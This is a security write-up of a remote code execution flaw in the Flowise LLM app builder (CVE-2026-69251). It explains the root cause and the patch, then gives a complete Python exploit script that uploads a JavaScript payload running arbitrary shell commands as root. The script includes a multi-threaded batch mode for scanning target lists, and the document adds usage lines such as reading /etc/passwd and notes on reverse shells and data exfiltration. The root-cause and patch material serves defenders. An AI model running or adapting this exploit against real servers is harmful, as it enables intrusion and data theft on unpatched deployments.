#Summary
CVE-2026-69251 is a critical authenticated remote code execution vulnerability in Flowise, a drag-and-drop UI for building LLM applications. An authenticated user can upload a JavaScript file and reference it through the record-manager or agent-memory nodes' additionalConfig parameter, which is unsanitized and spread directly into TypeORM DataSource options. TypeORM then require()s the attacker-controlled file during DataSource.initialize(), executing arbitrary code in the Flowise Node process. On the official flowiseai/flowise Docker image, the process runs as root.
Severity: CRITICAL
CVSS Score: 9.0
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
The vulnerability requires an authenticated user, but registration is unauthenticated on open-source single-org installs, making the attack trivial to chain.
#Affected versions
- Flowise (flowise): all versions up to and including 3.1.2
- Flowise Components (flowise-components): all versions up to and including 3.1.2
- Fixed in: 3.1.3 (released 2026-06-16)
- Docker image:
flowiseai/flowise:3.1.2and earlier - Authentication required: yes (any authenticated user with permission to create document stores and run upserts)
#Root cause analysis
#Vulnerable code path
Five node init() implementations in Flowise accept a user-supplied additionalConfig parameter as JSON, parse it, and spread it directly into the object passed to TypeORM's new DataSource() constructor with no key allowlist or denylist:
// packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts
let additionalConfiguration = {}
if (additionalConfig) {
try {
additionalConfiguration = typeof additionalConfig === 'object'
? additionalConfig
: JSON.parse(additionalConfig)
} catch (exception) {
throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
}
}
const mysqlOptions = {
...additionalConfiguration, // attacker controls every key
type: 'mysql',
host: nodeData.inputs?.host as string,
port: nodeData.inputs?.port as number,
username: user,
password: password,
database: nodeData.inputs?.database as string
}The same pattern appears in:
PostgresRecordManager.tsSQLiteRecordManager.tsAgentMemory.tsMySQLAgentMemory.ts
#How input reaches the sink
TypeORM's DataSource options object is not a plain connection struct. Three of its keys - entities, subscribers, and migrations - are treated as code-loading directives. When DataSource.initialize() is called, TypeORM resolves each of these values as glob patterns and require()s every matching .js, .cjs, .mjs, or .ts file (TypeORM 0.3.20, DirectoryExportedClassesLoader.ts):
// TypeORM 0.3.20 - DirectoryExportedClassesLoader.ts
const allFiles = directories.reduce((allDirs, dir) => {
return allDirs.concat(glob.sync(PlatformTools.pathNormalize(dir)))
}, [] as string[])
const dirPromises = allFiles
.filter((file) => {
const dtsExtension = file.substring(file.length - 5, file.length)
return (
formats.indexOf(PlatformTools.pathExtname(file)) !== -1 &&
dtsExtension !== ".d.ts"
)
})
.map(async (file) => {
const [importOrRequireResult] = await importOrRequireFile(
PlatformTools.pathResolve(file),
)
return importOrRequireResult
})Any top-level JavaScript statements in the loaded file execute inside the Flowise Node process, outside the vm2 sandbox that Flowise uses to contain user-supplied Custom Function code.
#Attack chain
An attacker needs three things, all reachable by a single authenticated user in a default install:
A JavaScript file with attacker-controlled content on the target, at a known path with a
.jsextension.- Flowise's document store upload (
_saveFileToStorage()) performs no MIME or extension validation and preserves the filename, writing to<storage>/<orgId>/docustore/<storeId>/<filename>.
- Flowise's document store upload (
Control over
additionalConfigon a vulnerable node, pointingentitiesat the uploaded file.- This parameter is spread unsanitized into the DataSource options object.
Reaching
DataSource.initialize()to trigger therequire().- The
POST /api/v1/document-store/vectorstore/insertendpoint callsrecordManager.createSchema(), which callsgetDataSource(), which callsnew DataSource(...).initialize().
- The
The exploit uploads a JavaScript payload via the document-store File Loader, then fires the upsert with an SQLiteRecordManager whose additionalConfig.entities glob points at the uploaded file. SQLiteRecordManager is the optimal choice because its driver.connect() is a local file operation that cannot fail, guaranteeing the payload always runs regardless of database connectivity.
#Patch diff
The fix (commit d07186844263bad057008863037466aff7c3390f, Flowise 3.1.3) adds a new module packages/components/src/sanitizeDataSourceOptions.ts:
const BLOCKED_DATASOURCE_KEYS = ['entities', 'subscribers', 'migrations', 'extra'] as const
const RESERVED_CONNECTION_KEYS = ['database', 'type', 'url', 'host', 'port', 'username', 'password'] as const
export function sanitizeDataSourceOptions(config: ICommonObject): ICommonObject {
if (!config || typeof config !== 'object' || Array.isArray(config)) {
return {}
}
for (const key of BLOCKED_DATASOURCE_KEYS) {
if (key in config) {
throw new Error(`Disallowed TypeORM DataSource option: ${key}`)
}
}
return { ...config }
}This is called immediately after parsing additionalConfig in every vulnerable node. The check uses key in config (not Object.hasOwn) to catch keys smuggled through the prototype chain via __proto__.
Every vulnerable init() now calls sanitizeDataSourceOptions() before using the user-supplied config:
if (additionalConfig) {
try {
additionalConfiguration = typeof additionalConfig === 'object'
? additionalConfig
: JSON.parse(additionalConfig)
} catch (exception) {
throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
}
additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) // <-- guard added
}The patch also adds a mergeDataSourceOptions() function to ensure node-controlled connection fields (like database, type, host) are applied after the sanitized user config, preventing the user from overriding critical connection parameters.
#Proof of concept
#exploit.py - Flowise Authenticated RCE
#!/usr/bin/env python3
"""
CVE-2026-69251 - Flowise authenticated RCE via unsanitized TypeORM DataSource options
Affected: Flowise (FlowiseAI) <= 3.1.2 (fixed in 3.1.3)
Type: RCE (code injection, CWE-94)
Root cause:
Several record-manager and agent-memory nodes parse the user-supplied
`additionalConfig` input as JSON and spread it straight into the object handed to
`new DataSource(...)`. TypeORM treats the `entities` / `subscribers` / `migrations`
options as code-loading directives: `DataSource.initialize()` resolves each as a glob
and `require()`s every matching .js/.cjs/.mjs/.ts file. Any top-level statement in that
file runs inside the Flowise Node process (root on the official image), outside vm2.
Exploit chain:
1. register the first account (whitelisted, one-shot) then log in for a cookie session
2. create a document store
3. upload a JavaScript payload through the File Loader (no MIME/extension check)
4. POST /document-store/vectorstore/insert with an SQLiteRecordManager whose
additionalConfig.entities globs the uploaded file
5. the record manager's createSchema() reaches DataSource.initialize(), which require()s
the payload. The payload throws its command output, which propagates back in-band as
the HTTP 500 response body of the same request.
Every authenticated request carries `x-request-from: internal`; without it Flowise 3.x
answers 401 on every /api/v1/* route even with a valid session cookie.
"""
import argparse
import base64
import json
import ssl
import sys
import urllib.error
import urllib.request
import uuid
from http.cookiejar import CookieJar
from urllib.parse import urlparse
CVE_ID = "CVE-2026-69251"
VULN_TYPE = "RCE"
DEFAULT_EMAIL = "[email protected]"
DEFAULT_PASSWORD = "Flowise@12345"
def header(host, port):
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n, msg):
print(f"[STEP {n}] {msg}")
def section(label, content):
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def _make_client(base, timeout):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(CookieJar()),
urllib.request.HTTPSHandler(context=ctx),
)
def call(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
req = urllib.request.Request(base + path, data=data, method=method)
req.add_header("Content-Type", "application/json")
# Mandatory on Flowise 3.x: without it a valid session cookie is ignored and
# every authenticated route returns 401 {"error":"Unauthorized Access"}.
req.add_header("x-request-from", "internal")
try:
with opener.open(req, timeout=timeout) as r:
return r.status, r.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace")
return call
def _jbody(raw):
try:
return json.loads(raw)
except Exception:
return {}
def _build_payload(command, marker):
"""A .js file that runs `command` and throws its stdout+stderr so the output
propagates back in-band as the upsert's HTTP 500 body. The command is base64ed to
avoid any JavaScript-string escaping concerns."""
cmd_b64 = base64.b64encode(command.encode()).decode()
js = (
"var cp = require('child_process');\n"
"var cmd = Buffer.from('" + cmd_b64 + "', 'base64').toString();\n"
"var out;\n"
"try { out = cp.execSync(cmd + ' 2>&1').toString(); }\n"
"catch (e) { out = (e.stdout ? e.stdout.toString() : '') + "
"(e.stderr ? e.stderr.toString() : '') + String(e.message || e); }\n"
"throw new Error('" + marker + ":' + out + ':" + marker + "');\n"
)
return js
def _extract_output(raw, marker):
"""Pull the command output out of a response body that carries MARKER:...:MARKER."""
start = raw.find(marker + ":")
if start == -1:
return None
start += len(marker) + 1
end = raw.find(":" + marker, start)
if end == -1:
end = len(raw)
out = raw[start:end]
out = out.replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
return out.strip()
def _run_chain(base, command, timeout, verbose, email, password, vs):
"""Drive register -> login -> store -> upload -> upsert. Returns
(state, detail) where state is one of: 'rce', 'patched', 'backend', 'error'.
'detail' carries the command output for 'rce', else a short message."""
call = _make_client(base, timeout)
def log(n, msg):
if verbose:
step(n, msg)
# 1. register (one-shot; a 4xx just means the org already exists)
log(1, "Registering first account (idempotent)...")
st, raw = call("POST", "/api/v1/account/register",
{"user": {"name": "Admin", "email": email, "credential": password}})
if verbose:
section("REGISTER RESPONSE", f"HTTP {st} {raw[:200]}")
# 2. login
log(2, "Logging in...")
st, raw = call("POST", "/api/v1/auth/login", {"email": email, "password": password})
if st != 200:
return "error", f"login failed (HTTP {st}): {raw[:160]}"
org_id = _jbody(raw).get("activeOrganizationId")
if verbose:
section("LOGIN", f"HTTP {st} activeOrganizationId={org_id}")
# 3. document store
log(3, "Creating document store...")
st, raw = call("POST", "/api/v1/document-store/store", {"name": "s", "description": ""})
store_id = _jbody(raw).get("id")
if not store_id:
return "error", f"could not create document store (HTTP {st}): {raw[:160]}"
if verbose:
section("DOCUMENT STORE", f"HTTP {st} storeId={store_id}")
# 4. upload the payload as a .js file through the File Loader
marker = "ALIM" + uuid.uuid4().hex[:16].upper()
fname = "rce_" + uuid.uuid4().hex[:12] + ".js"
js = _build_payload(command, marker)
data_uri = ("data:text/javascript;base64,"
+ base64.b64encode(js.encode()).decode()
+ ",filename:" + fname)
loader = {
"storeId": store_id,
"loaderId": "fileLoader",
"loaderName": "File Loader",
"loaderConfig": {"txtFile": data_uri, "splitterId": ""},
}
log(4, f"Uploading payload {fname} via File Loader...")
st, raw = call("POST", "/api/v1/document-store/loader/save", loader)
loader_id = _jbody(raw).get("id")
if verbose:
section("LOADER/SAVE", f"HTTP {st} loaderId={loader_id} {raw[:200]}")
if loader_id:
st, raw = call("POST", f"/api/v1/document-store/loader/process/{loader_id}", loader)
if verbose:
section("LOADER/PROCESS", f"HTTP {st} {raw[:300]}")
# 5. fire: upsert with attacker-controlled TypeORM DataSource options.
# A fresh filename per run defeats Node's require() module cache. The glob targets
# only this run's unique file so the returned output is deterministically from THIS
# command. A broad `*.js` glob would re-fire stale payloads from earlier runs.
entities_glob = "/root/.flowise/storage/**/" + fname
vs_config = {"host": vs["host"], "port": vs["port"],
"database": vs["db"], "tableName": "documents"}
if vs["name"] == "chroma":
vs_config = {"chromaURL": vs["host"], "collectionName": "documents"}
insert = {
"storeId": store_id,
"embeddingName": "openAIEmbeddings",
"embeddingConfig": {"modelName": "text-embedding-ada-002", "openAIApiKey": "sk-dummy"},
"vectorStoreName": vs["name"],
"vectorStoreConfig": vs_config,
"recordManagerName": "SQLiteRecordManager",
"recordManagerConfig": {
"tableName": "upsertion_records",
"additionalConfig": json.dumps({"entities": [entities_glob]}),
},
}
log(5, "Triggering upsert -> DataSource.initialize() -> require(payload)...")
st, raw = call("POST", "/api/v1/document-store/vectorstore/insert", insert)
if verbose:
section(f"UPSERT RESPONSE (HTTP {st})", raw[:900])
out = _extract_output(raw, marker)
if out is not None:
return "rce", out
if "Disallowed TypeORM DataSource option" in raw:
return "patched", "sanitizeDataSourceOptions rejected the entities key (>= 3.1.3)"
low = raw.lower()
if ("connect" in low and ("pgvector" in low or "vector" in low or "postgres" in low
or "econnrefused" in low or "getaddrinfo" in low)):
return "backend", "vector store backend unreachable - bug not reached (fix --vs-*)"
return "error", f"no payload output in response (HTTP {st}): {raw[:200]}"
def exploit(host, port, use_tls, command, email, password, vs):
header(host, port)
base = f"{'https' if use_tls else 'http'}://{host}:{port}"
step(0, f"Base URL {base}")
state, detail = _run_chain(base, command, timeout=180, verbose=True,
email=email, password=password, vs=vs)
if state == "rce":
section(f"COMMAND OUTPUT ({command})", detail)
first = detail.splitlines()[0] if detail.splitlines() else detail
done(True, f"RCE confirmed - command '{command}' output: {first.strip()}")
if state == "patched":
done(False, f"Target patched - {detail}")
if state == "backend":
done(False, detail)
done(False, detail)
def _try_exploit(host, port, use_tls, command, email, password, vs):
"""Silent probe for --list. Returns (success, evidence). Never prints or exits."""
base = f"{'https' if use_tls else 'http'}://{host}:{port}"
try:
state, detail = _run_chain(base, command, timeout=120, verbose=False,
email=email, password=password, vs=vs)
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
if state == "rce":
first = detail.splitlines()[0].strip() if detail.splitlines() else detail
return True, f"RCE - '{command}' => {first}"
if state == "patched":
return False, "patched (entities rejected)"
if state == "backend":
return False, "vector store backend unreachable"
return False, detail
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers, command, email, password, vs):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, command, email, password, vs)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:3000)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
parser.add_argument("--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("--email", default=DEFAULT_EMAIL,
help="Account email to register/login (default: %(default)s)")
parser.add_argument("--password", default=DEFAULT_PASSWORD,
help="Account password (default: %(default)s)")
parser.add_argument("--vs-name", default="postgres",
help="Vector store node name the target can reach "
"(postgres|chroma, default: postgres)")
parser.add_argument("--vs-host", default="pgvector",
help="Vector store host as seen from the target, or chroma URL "
"(default: pgvector)")
parser.add_argument("--vs-port", type=int, default=5432,
help="Vector store port (default: 5432)")
parser.add_argument("--vs-db", default="flowise_vs",
help="Vector store database (default: flowise_vs)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
vs = {"name": args.vs_name, "host": args.vs_host,
"port": args.vs_port, "db": args.vs_db}
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
command=args.command, email=args.email, password=args.password, vs=vs)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.command, args.email, args.password, vs)#Usage
Single target with default command (id):
python3 exploit.py --host 127.0.0.1 --port 3000Arbitrary command:
python3 exploit.py --host 10.0.0.20 --port 3000 --command "cat /etc/passwd"Full URL with TLS auto-detected:
python3 exploit.py --host https://flowise.corp.com --command "whoami"Batch scanning:
python3 exploit.py --list targets.txt --workers 20 --command "id"#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-69251
Type: RCE | Target: 127.0.0.1:3000
============================================================
[STEP 0] Base URL http://127.0.0.1:3000
[STEP 1] Registering first account (idempotent)...
[STEP 2] Logging in...
[STEP 3] Creating document store...
[STEP 4] Uploading payload rce_abcd1234.js via File Loader...
[STEP 5] Triggering upsert -> DataSource.initialize() -> require(payload)...
--- UPSERT RESPONSE (HTTP 500) ---
{"statusCode":500,"success":false,"message":"Error: ... ALIMxxx:uid=0(root) gid=0(root) groups=0(root)...:ALIMxxx","stack":{}}
---
--- COMMAND OUTPUT (id) ---
uid=0(root) gid=0(root) groups=0(root),...
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' output: uid=0(root) ...
============================================================#Expected output (patched target 3.1.3+)
============================================================
ALIM EXPLOIT CVE-2026-69251
Type: RCE | Target: 127.0.0.1:3000
============================================================
[STEP 0] Base URL http://127.0.0.1:3000
[STEP 1] Registering first account (idempotent)...
[STEP 2] Logging in...
[STEP 3] Creating document store...
[STEP 4] Uploading payload rce_abcd1234.js via File Loader...
[STEP 5] Triggering upsert -> DataSource.initialize() -> require(payload)...
--- UPSERT RESPONSE (HTTP 500) ---
{"statusCode":500,"success":false,"message":"Error: ... Disallowed TypeORM DataSource option: entities","stack":{}}
---
============================================================
RESULT : FAILURE
EVIDENCE: Target patched - sanitizeDataSourceOptions rejected the entities key (>= 3.1.3)
============================================================#Exploitation notes
#Preconditions
- Authentication: An account is required, but registration is unauthenticated on default open-source single-org installations. The first registered user becomes the organization owner with full permissions.
- Vector store backend: The target must be able to reach a vector-store backend (pgvector, Chroma, etc.) because the vector store node is instantiated before the record manager's code runs. This backend only needs to be reachable; it does not need to function correctly.
- No specific dependencies: The payload uses only Node.js standard library (
child_process,http). The Flowise process has access to these modules sincerequire()is called from within the Node process itself.
#Reliability
Extremely reliable. This is code injection (CWE-94), not memory corruption. Reaching require() of attacker content is terminal code execution - there is no crash ladder to climb or reliability tricks needed. The exploit successfully executes on first attempt against the vulnerable version, provided the vector store is reachable.
Key design choices in exploit.py maximize reliability:
- The payload filename is randomized per run, defeating Node's module cache (a module whose top-level throws is never cached, so a broad glob would re-fire stale payloads).
- The output marker is randomized per run, guaranteeing the extracted output belongs to the specific request.
- Command output returns in-band in the HTTP 500 response body, requiring no callback listener or outbound connectivity.
#Impact
Critical. Code execution as the Flowise process user. On the official Docker image (flowiseai/flowise), that user is root, giving the attacker:
- Access to all Flowise data (documents, chatflows, vector databases, credentials)
- Access to the host filesystem (in container deployments, typically
/root/.flowiseand the mounted storage) - Ability to pivot to other services the container can reach
#Chaining potential
- Pre-auth RCE: Can chain with any authentication bypass in Flowise, though registration is already unauthenticated on default installs.
- Lateral movement: The container typically has network access to internal infrastructure (vector stores, LLM APIs, databases). A reverse shell can be established via
require('child_process').spawn()or curl. - Data exfiltration: All Flowise data can be read and sent out-of-band.
#References
- CVE: CVE-2026-69251
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-69251
- GitHub Advisory: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
- Fix commit: https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
- Flowise repository: https://github.com/FlowiseAI/Flowise
- Affected packages: npm
flowise,flowise-components<= 3.1.2